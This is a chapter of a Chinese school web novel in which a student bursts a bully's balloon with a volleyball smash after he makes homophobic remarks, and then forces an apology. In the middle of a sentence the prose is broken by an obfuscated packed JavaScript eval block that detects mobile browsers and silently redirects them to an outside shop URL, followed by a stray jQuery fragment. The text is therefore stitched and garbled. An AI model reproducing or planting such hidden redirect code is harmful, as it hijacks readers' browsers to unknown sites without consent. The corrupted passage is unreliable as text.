大小姐白芸正要上场与孟行合作,一位长相端正的女生先她一步:“你们还缺一个人?我们一起可以吗?”
后一句她转头向傅金询问。
傅金的思绪骤然被打断,一时没反应过来。她回神,对上一张浅笑的白皙面颊,在脑中重新过一遍对方的话后,点点头。
“当然可以,刚好四人制排球,就用我手上这枚吧,气刚刚好。”孟行已经跃跃欲试地掂量着手上的排球。
终归开口答应的是孟行,白芸气不过也只好咽下这口气,恨恨盯着女生林耀星。
班上谁不知道她喜欢孟行,林耀星还跟她抢与孟行相处的机会。
白芸倒是从头到尾没把傅金放在眼里,她估计孟行也瞧不上傅金这样的人做朋友,今天的搭话不过是总是热心肠的偶像帮对方一个小忙罢了。
四散开队形做准备,刘鸣锐扫过白芸的脸色,悄悄背过身撞了下孟行:“老孟,你故意装作没听见大小姐的话,不怕她后续再缠着你啊?她可是比美女蛇还难缠。”
“我和她没关系,老刘你再把我和她放在一起,我就送你去被缠。”孟行压低声音,微微威胁。
刘鸣锐自觉在嘴上比了个拉拉链的动作。
孟行不愧是体育特长,在排球上也游刃有余。孟行压着实力,因为娱乐比赛讲究的是有来有回的乐趣和参与度。
傅金不是专业的,况且有孟行这个扛把子在,除开有些技术的林耀星,半场过去傅金和刘鸣锐也没碰到几次球。
孟行边叩击边和旁边的傅金搭话:“没看出来,你怎么这么莽?戴泽可是跑着去医务室的,估计是怕自己毁容呢。”
他说的是傅金打戴泽的事情,刚过来他没敢直接询问,一直没机会,而且他担心触傅金霉头让她不乐意。
“他那点伤,当然得快点去,再晚点去就痊愈了。”
“别逗了,他这么大个乌青眼,绿的跟石头似的,你跟我说要痊愈了?你看我像傻子吗?”
傅金故作思量,半晌开口吐出一个字:“像。”
孟行:“……”拳头有点痒。
“喂,你别忘了是谁过来给你撑场子的,你这小子真没良心。”
中场休息,傅金从自助售卖机拎着一大袋子水折返,顺道给某位生气的体育生降降火。既然他说帮了忙,傅金也得还还人情。
甫一走近场地,就听到和傅金孟行做排球对手的两个女生正背对坐在观众席上谈论她:
“常傅金那身材瘦得像竹竿一样,力气还挺大,把戴泽都干进医务室了。”
“你说他和戴泽有什么恩怨?都同班一年半了,戴泽也不像是惹事的人啊。”
“这我哪知道,不过常傅金喜欢男的,会不会是他和戴泽有一段不可言说的隐秘情缘?”女生拍了拍身边的女同学,克制声量。
似乎极为好奇,又极为隐秘,不能大声宣之于口,“你觉得常傅金是……上面的还是下面的?”
恰好路过的男生一脸鄙夷,他正是方才挑衅傅金不成反被扫了面子的男生张益。
他手上正拿着要给高一篮球赛准备的应援气球。一听这话就龇着牙,露出嫌恶表情。刚刚因为孟行出现强行压下的郁气陡然膨胀,他径直插话,没留半分情面:
“娘娘腔小白脸,聊天记录还这么恶心,什么‘老公爱你,想你,想现在就见到你’,都专门找人怜爱,还用想吗?这种语气肯定是在下面的,只有挨男人搞的份儿。”
旁边的女生被他粗俗的语言搞得皱眉对视,正想反驳,张益却继续煞有介事补充:“听说外国那些都玩的很花,他与其在这找,不如去找老外呢,拍个片……”
孟行来接没及时回去的傅金,过来恰好听到张益的后半截话,他还没反应过来,却见傅金随手捡起旁边掉落的排球,跳起来一个暴叩!
“砰!”
直接打爆对方手上的气球!
气球在张益手上炸裂时的一股力道和破风感,把他吓得原地一蹦!心脏几乎停滞!
砰的一声巨响,把在场的众人吓了一跳,什么想法八卦全都骤然断裂,只有一个想法:什么情况?
众人循声望去——
只听一声暴响后,场中央站着的张益手上,气球碎屑正随着释放的气体和窗口微风缓缓飘落。
他哆嗦着后退,颤颤巍巍看向几米开外屹立的傅金,脸都被这突如其来的爆裂动静给吓白了。
他现在看傅金和看阎王姥姥没区别。
傅金始终都会对这些人虚张声势之后被拆穿的搞笑模样,感到搞笑:“我在不在下面我不知道,不过我倒是知道你要吓尿了。”
排球完成它的使命,咕噜着滚远了。
排球场内经过一瞬间的寂静,重新嘈杂起来:
“我靠,吓我一蹦,气球被他捏炸了?”
“这气球动静这么大吗,我感觉刚刚像一颗炸弹爆炸了,轰一声!”
“不,不是……我分明看见一颗排球飞过去,是常傅金把他气球击爆了。”
“打爆了?那常傅金打过去的排球不是排球,是导弹啊。常傅金给你钱了?你这么捧他?”
“以他刚上课时打戴泽的架势有什么不可能的?我看他是越来越劲爆了。”
孟行脚步一顿,他同样被傅金给震慑住了。
以他体育特长生的眼光来看,傅金刚起跳时候,暴扣的腰部、腹部以及整条手臂的爆发力都达到惊人的程度。
“干得好,”孟行过来右手肘杵上傅金肩膀,和她一同睨着吓傻了的张益,“准头不错,兄弟。”
傅金:“?”
仗着身高把她当做拐杖呢?
“就该给他一个教训,嘴碎的难听,”林耀星她和傅金站到一起,“舌头恐怕比蛇还来得长,你还傻站着干嘛?还不给常傅金道歉?”
面对再一次吸引众人注意力的傅金,排球老师感叹。以刚才排球的运行弧线来看,并非圆滑的弧线,而是一道以破竹之势进攻的凌厉攻势。
可见傅金身体爆发力有多强,力气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701639|204750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有多大,绝不逊色于排球特长生。并且从他被处罚长跑后依然挺立来看,耐力也是拔尖的。
老师惊叹,夹杂着对傅金明珠暗投的可惜:“不特招排球可惜了。”
张益回过神来,作为站在10班视觉中心的人,他抬眼环视过围观同学,脸色由白转红,又由红转青。
是被吓的,也是被林耀星的话堵的。他下意识想反驳,想找回场子:“我……我又没指名道姓!关你们什么事!”
“没指名道姓?”孟行截断他的话,眼神微冷,“你当在场的人都是聋子?道歉,别让我们说第三遍。”
他身材高大,哪怕站在几米之外,长期运动带来的压迫感此刻展露无遗。
周围其他同学也逐渐在他们一来一回的话语中咂摸过味儿来,陆续安静下来,目光从对傅金制造吓人动静的不满,转变成对张益的异样打量。
众目睽睽之下,尤其是傅金那毫不留情、仿佛下一秒就要再次动手的逼视,让张益感到了巨大的压力。
他额头冒出了冷汗,刚才气球在手中爆开的惊悸感还未散去,此刻难堪慢慢升上来。
他嘴唇嗫嚅了几下,眼神慌乱地扫过冷眼的孟行和认真的林耀星。他知道,今天不低头,这事没法收场,常傅金和孟行绝对会让他更下不来台。
终于,他几乎是从牙缝里挤出声音,含糊又快速地说:“……对不起。”
说完,立刻扭过头,头也不回地离开现场。
孟行看他走远,转回头,目光落在傅金身上:“下次扣球记得再往左半米,直接砸脸效果比较好。”说完,也不等回应,自顾自转身去捡球了。
林耀星对傅金投去一个带着些许安慰的眼神,帮她拎起放在地上的矿泉水,前去分发。
体育馆里的喧闹声渐渐重新响起,仿佛刚才的插曲未曾发生,但10班对常傅金这个人的看法,已经不一样了。
——
上午最后一节语文课,是固定的每周一节的阅读课。
每每这节课同学们都会提前下楼抵达一楼阅读室,方便抢自己喜欢的课外书。学校除了大量的名著外,有吸引力的课外书不多,都很抢手。
上课铃响后,语文老师站在讲台上,忽然说出一句:“没背完今日课文的,不用阅读了,出去室外背好了来我这过关。过关一个放一个进来。”
原本拥挤的书架前顿时唉声遍布。
傅金刚坐下来,闻言起身想把手里的《白夜行》放回书架,却被一道高大身影拦截:“兄弟我替你看,你放心去吧。”
他一脸“慈祥”地拍拍傅金肩膀。
傅金:“……”
她挂着无语脸,拎上课本准备出去。
“用我的吧,你的书和刚发下来的没两样。”用傅金的课本背,恐怕得从注释看起,不知道要背到啥时候去。毕竟以傅金的成绩,说他连扉页名字都没写过也是可能的。
“不用,”傅金一巴掌拍掉他搭在自己肩膀的手,想翻个白眼,“你瞧不起谁呢?”